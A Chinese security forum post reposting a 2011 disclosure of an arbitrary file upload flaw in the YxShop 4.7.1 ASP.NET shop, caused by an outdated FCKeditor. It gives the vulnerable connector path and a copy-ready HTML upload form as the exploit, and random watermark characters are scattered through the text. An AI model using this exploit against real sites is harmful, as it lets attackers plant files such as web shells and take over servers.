找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1825|回复: 0
打印 上一主题 下一主题

YxShop易想购物商城4.7.1版本任意文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 20:46:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
披露状态:2011-07-19: 细节已通知厂商并且等待厂商处理中9 j$ S4 g/ o, W* Z
2011-07-20: 厂商已经主动忽略漏洞,细节向公众公开2 j0 d+ I- v! g/ E: G
简要描述:这个号称中国首家ASP.NET免费开源商城购物系统。最新版本是4.7,竟然采用2.4版本以下的fckeditor编辑器。所以可以直接上传任意文件。% v( T5 ~: @  I) h( N* _6 z8 _% L
详细说明:其他版本我没测试,估计也是一样的问题
3 p- F; H& O+ q6 F$ I  p8 `: a http://127.0.0.1/controls/fckedi ... aspx/connector.aspx
6 S6 i% ]4 d! S* L$ Q 跳转到网站根目录上传任意文件。9 U9 {5 z& P* m1 B$ g, b+ _
漏洞证明:如果connector.aspx文件被删可用以下exp,copy以下代码另存为html,上传任意文件9 B+ x' N; S+ Q- Z7 _% f
<form id="frmUpload" enctype="multipart/form-data" action="http://127.0.0.1/controls/fckeditor/editor/filemanager/upload/aspx/upload.aspx?Type=Media" method="post">* F( R% y6 `& C0 Q5 J
Upload a new file:<br>
- ]/ k# W- ]: S; O9 P4 T <input type="file" name="NewFile" size="50"><br>
- j, }" r; N) S0 L" a <input id="btnUpload" type="submit" value="Upload">) w1 Q0 |* F& u$ a* q4 l
</form>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表